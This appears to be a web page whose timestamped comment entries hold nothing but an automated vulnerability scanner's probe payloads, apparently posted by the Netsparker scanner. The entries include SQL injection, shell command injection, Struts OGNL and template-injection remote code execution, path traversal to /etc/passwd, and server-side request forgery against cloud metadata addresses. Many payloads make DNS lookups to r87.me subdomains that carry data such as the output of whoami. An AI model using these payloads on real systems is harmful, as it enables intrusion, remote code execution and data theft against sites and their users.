Oct 28, 2024 11:58

__import__('os').popen(('expr 268409241 - {0}').format('35230')).read()

1'));SELECT pg_sleep(25)-- /* 1d754787-f3ba-4f74-950d-ceec6c3e8bfa */

nslookup "mgn-syp1wngbxuunuuurk_lw8ihk_dm5wuzlxqa2""gcq.r87.me"

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(109)||chr(103)||chr(110)||chr(45)||chr(115)||chr(121)||chr(112)||chr(49)||chr(119)||chr(110)||chr(57)||chr(119)||chr(117)||chr(105)||chr(102)||chr(102)||chr(117)||chr(122)||chr(117)||chr(101)||chr(114)||chr(115)||chr(102)||chr(121)||chr(95)||chr(117)||chr(111)||chr(122)||chr(105)||chr(119)||chr(113)||chr(110)||chr(121)||chr(122)||chr(121)||chr(110)||chr(121)||chr(114)||chr(109)||chr(108)||chr(120)||chr(108)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'

-1 OR 1=1
Oct 28, 2024 11:58

1';expr 268409241 - 51122;'
Oct 28, 2024 11:58

//r87.com/?0x01D6C3

|ping -n 25 127.0.0.1
Oct 28, 2024 11:59

%27
Oct 28, 2024 11:59

http://[::1]:22

/../../../../../../../../../../etc/httpd/logs/error_log

-1 OR 1=1
Oct 28, 2024 11:59

1));SELECT pg_sleep(25)-- /* 64fe9b47-c156-4631-871f-bd12b361c685 */

__import__('os').popen(('SET /A 268409241 - {0}').format('57152')).read()

exec('xp_dirtree ''\\mgn-syp1wn29--ol_-xpa5bchgsneyy3qxrw8bp-'+'z20.r87.me'+'\c$\a''')
Oct 28, 2024 11:59

&nslookup "mgn-syp1wn0alkrl581obdvmmek6kbpiurtzys6r""i8a.r87.me"

' OR 0=1 OR
Oct 28, 2024 11:59

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Oct 28, 2024 12:00

|sleep 25
Oct 28, 2024 12:00

http://127.0.0.1:3306

/../../../../../../../../../../var/log/apache2/error.log

NS-1NO
Oct 28, 2024 12:00

response.write(268409241-46188)'
Oct 28, 2024 12:00

((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* c76f526f-d230-468b-98c7-cf5b305866e3 */

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password
Oct 28, 2024 12:00

'&nslookup "mgn-syp1wnljpctzcj7ixp5u8dkbmu_bsqe_snsm""gls.r87.me"

-1 OR 'X'='ss
Oct 28, 2024 12:01

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Oct 28, 2024 12:01

ns@mail.ns'"/>()%26%25netsparker(0x01D809)

http://54.180.177.131:3306

/../../../../../../../../../../var/log/apache/error.log

'"-->
Oct 28, 2024 12:01

-1' OR 1=1 OR 'ns'='ns
Oct 28, 2024 12:01

1;exec('xp_dirtree ''\\mgn-syp1wnu4rtg16q17okcsdiokd_ejpcej9kqb'+'yoc.r87.me'+'\c$\a''')--
Oct 28, 2024 12:01

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* eb1f494c-6cb8-48c9-8187-ea1d95708155 */

expr 268409241 - 78083;
Oct 28, 2024 12:01

+response.write(268409241-47181)'
Oct 28, 2024 12:01

"&nslookup "mgn-syp1wnie59va8qu86wd77uvaauw1pbwtfyud""gfs.r87.me"

-1" OR 1=1 OR "ns"="ns
Oct 28, 2024 12:02

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Oct 28, 2024 12:02

Content-Type:text/html ns(0x01D985)

http://[::1]:3306

/../../../../../../../../../../proc/version

-1 OR 17-7=10
Oct 28, 2024 12:02

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* a2fe6d65-7451-4c88-8700-5821ad7f1074 */

-1';exec('xp_dirtree ''\\mgn-syp1wn6sqe-walr46ixeq68dyxkv555jtnw_'+'fho.r87.me'+'\c$\a''')--
Oct 28, 2024 12:03

|nslookup${IFS}"mgn-syp1wnblsvezdzl6g7qceiwbuwbvdw41ulqe""db4.r87.me"

"+response.write(268409241-30849)+"
Oct 28, 2024 12:03

-1 OR NS='ss
Oct 28, 2024 12:03

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Oct 28, 2024 12:03

https://www.hackerschool.org/server-status

1) exec('xp_dirtree ''\\mgn-syp1wn0faevu2wd8xsq32ps4_gt1i-27tegq'+'f_s.r87.me'+'\c$\a''')--
Oct 28, 2024 12:04

/../../../../../../../../../../proc/version.html

-1' OR 1=1 OR '1'='1
Oct 28, 2024 12:03

Smith
Oct 28, 2024 12:04

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."mgn-syp1wn3gbvf7du43_dbniv6krz4kks5ictfp""jvs.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

Oct 28, 2024 12:04

Smith
Oct 28, 2024 12:04

netsparker(0x01DBCC)

-1' OR 1=1 OR '1'='1
Oct 28, 2024 12:04

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHA
Oct 28, 2024 12:04

Smith
Oct 28, 2024 12:04

http://169.254.169.254/opc/v1/instance

Oct 28, 2024 12:04

/../../../../../../../../../../../etc/passwd

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "mgn-syp1wne98pnfy14y5xed-ykehacgdk00yw2k"bak.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

print(int)0xFFF9999-10931
Oct 28, 2024 12:05

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52
Oct 28, 2024 12:05

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 88c6fc64-a7f1-4e09-b27e-c50dc09419c9 */

1')exec('xp_dirtree ''\\mgn-syp1wnkpi2uuhs-ui4a61mf0ejcdltdfwewt'+'ln8.r87.me'+'\c$\a''')--
Oct 28, 2024 12:05

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52
Oct 28, 2024 12:06

https://metadata.packet.net/metadata

|expr${IFS}268409241${IFS}-${IFS}77639
Oct 28, 2024 12:06

-1" OR 1=1 OR "1"="1
Oct 28, 2024 12:06

Smith
Oct 28, 2024 12:06

/../../../../../../../../../../../etc/passwd

Smith
Oct 28, 2024 12:06

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbWduLXN5cDF3bjg3MHB0NGFtcWtvMXVkX3l1b3FlYWlpa2x3ZmdlbmdsMC5yODcubWU=')).read()}}

print(int)0xFFF9999-23065;
Oct 28, 2024 12:06

Smith
Oct 28, 2024 12:06

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 3920a501-b350-4705-bfe7-89f6d6371302 */

1))exec('xp_dirtree ''\\mgn-syp1wn6qydtbyzehfhuw-ytfk-nfcohdukeh'+'hr0.r87.me'+'\c$\a''')--
Oct 28, 2024 12:06

https://metadata.platformequinix.com/metadata

|expr 268409241 - 24013
Oct 28, 2024 12:07

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109)
Oct 28, 2024 12:07

file:///etc/passwd

+print(int)0xFFF9999-7226;//
Oct 28, 2024 12:07

1'))exec('xp_dirtree ''\\mgn-syp1wnaggdtklm5j4p74qdcnbjhgi1cwhdqc'+'zii.r87.me'+'\c$\a''')--
Oct 28, 2024 12:07

' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 35922b7e-1006-468c-923b-79b479ba7f6e */

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYldkdUxYTjVjREYzYm14cWFXVTFObTAzZUd4cE5qSnVlRzFwYUhCeGEyeDJhVEIxWlhCdkxTMWxkUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

expr 268409241 - 6448
Oct 28, 2024 12:08

Oct 28, 2024 12:08

https://www.hackerschool.org/trace.axd
Oct 28, 2024 12:08

//r87.com/n/j/?0x01E1D5

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||c
Oct 28, 2024 12:08

/../../../../../../../../../../../etc/passwd

'+print(int)0xFFF9999-65705+'
Oct 28, 2024 12:08

syscolumns WHERE 2>3;exec('xp_dirtree ''\\mgn-syp1wnnqr1xxrljtjb02zmljajvdyhtcrjwa'+'fey.r87.me'+'\c
Oct 28, 2024 12:08

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* 56d04e5c-9f91-431c-95ae-1cfbf55ce0d6 */

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbWduLXN5cDF3bnBjdWIzY2pjZTA5dC1uNHhmZDIxXzBncHRja3E0cWQ5cS5yODcubWU=','base64').toString())

www.hackerschool.org/trace.axd
Oct 28, 2024 12:09

\";netsparker(0x01E272);///

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)
Oct 28, 2024 12:09

/../../../../../../../../../../../etc/passwd.html

"+print(int)0xFFF9999-88830+"
Oct 28, 2024 12:09

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';
Oct 28, 2024 12:09

Smith
Oct 28, 2024 12:10

54.180.177.131/trace.axd
Oct 28, 2024 12:10

' WAITFOR DELAY '0:0:25'-- /* 133d6174-8866-49ed-ab7a-d48ccc3c8911 */
Oct 28, 2024 12:10

Smith
Oct 28, 2024 12:10

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

Smith
Oct 28, 2024 12:10

Oct 28, 2024 12:10

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(10
Oct 28, 2024 12:11

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'
Oct 28, 2024 12:11

Smith
Oct 28, 2024 12:11

{php}Smarty_Resource::parseResourceName(system("nslookup mgn-syp1wn6uattqy9k7kzqod1robggm-0sn2kz5"."jca.r87.me"),'b');{/php}

Smith
Oct 28, 2024 12:11

127.100.11.2/trace.axd
Oct 28, 2024 12:11

Smith
Oct 28, 2024 12:11

1 WAITFOR DELAY '0:0:25'-- /* 04802405-204d-4fa0-85d2-d913d31c0062 */
Oct 28, 2024 12:11

Smith
Oct 28, 2024 12:12

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

{php}print(int)0xFFF9999-78390;{/php}
Oct 28, 2024 12:12

NSFTW
Oct 28, 2024 12:12

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''
Oct 28, 2024 12:12

Smith
Oct 28, 2024 12:12

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup mgn-syp1wn2vyo2gl0icyitqb6uikxpu-ehb-rvm"~"rnm.r87.me")}}

127.0.0.1/trace.axd
Oct 28, 2024 12:12

Smith
Oct 28, 2024 12:12

'"-->netsparker(0x01E6B1)

'{${print(int)0xFFF9999-24779}}'
Oct 28, 2024 12:13

WAITFOR DELAY '0:0:25'-- /* a49f43ef-b8fd-487f-b79d-2d06a56127f9 */
Oct 28, 2024 12:13

Smith
Oct 28, 2024 12:13

'+NSFTW+'
Oct 28, 2024 12:13

SELECT dblink_connect('host=mgn-syp1wn_dywpx1s7muhcmdbpryr6r7rjf0ncf'||'qs0.r87.me user=a password=a
Oct 28, 2024 12:13

Smith
Oct 28, 2024 12:13

[::1]/trace.axd
Oct 28, 2024 12:13

Smith
Oct 28, 2024 12:13

Oct 28, 2024 12:13

[php]print(int)0xFFF9999-54275;[/php]
Oct 28, 2024 12:14

Smith
Oct 28, 2024 12:14

1) WAITFOR DELAY '0:0:25'-- /* 767cadb5-792d-4293-b1b6-8a6e0ec2c287 */
Oct 28, 2024 12:14

Smith
Oct 28, 2024 12:14

${ ex("bash -c {eval,$({tr,/+,_-}

Smith
Oct 28, 2024 12:14

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

https://www.hackerschool.org/elmah.axd
Oct 28, 2024 12:14

dblink_connect('host=mgn-syp1wnrewktpnifg7ear_hqy9pxvagophxiv'||'m_0.r87.me user=a password=a connec
Oct 28, 2024 12:14

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_member
Oct 28, 2024 12:15

') WAITFOR DELAY '0:0:25'-- /* 1730d828-275b-45f9-811b-fca3e8838496 */
Oct 28, 2024 12:15

${ ex("cmd.exe /c nslookup mgn-syp1wnraqn8fentlbaifzgpgx5tjfmrbovuh"+"rio.r87.me") }

cast((SELECT dblink_connect('host=mgn-syp1wnzoxnzgegv-cgspexlkprjmc2cjruy0'||'mgg.r87.me user=a pass
Oct 28, 2024 12:16

1/../../../../../../../../../../../etc/passwd

www.hackerschool.org/elmah.axd
Oct 28, 2024 12:16

Smith
Oct 28, 2024 12:16

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHA
Oct 28, 2024 12:16

print localtime()*0+0xFFF9999-93050
Oct 28, 2024 12:16

Smith
Oct 28, 2024 12:16

')) WAITFOR DELAY '0:0:25'-- /* 7464e0c4-85c1-4961-a051-ced3945b6f5c */
Oct 28, 2024 12:16

Smith
Oct 28, 2024 12:16

require 'resolv';Resolv.getaddress ("mgn-syp1wne0v2dzepnij-k4-bxdaqnzotbswkb8".concat "hdy.r87.me")

/etc/passwd

54.180.177.131/elmah.axd
Oct 28, 2024 12:17

";l=document.createElement("link");l.rel="prefetch";l.href="//mgn-syp1wnltocd5-8z4d6duu_vjryo7muzmik
Oct 28, 2024 12:17

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(109)||chr(103)||chr
Oct 28, 2024 12:17

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(
Oct 28, 2024 12:17

'"-->netsparker(0x01EEC1)
Oct 28, 2024 12:17

eval('print localtime()*0+0xFFF9999-11772')
Oct 28, 2024 12:17

1)) WAITFOR DELAY '0:0:25'-- /* ffca806f-d566-4c4f-b380-4552e8baa5fe */
Oct 28, 2024 12:17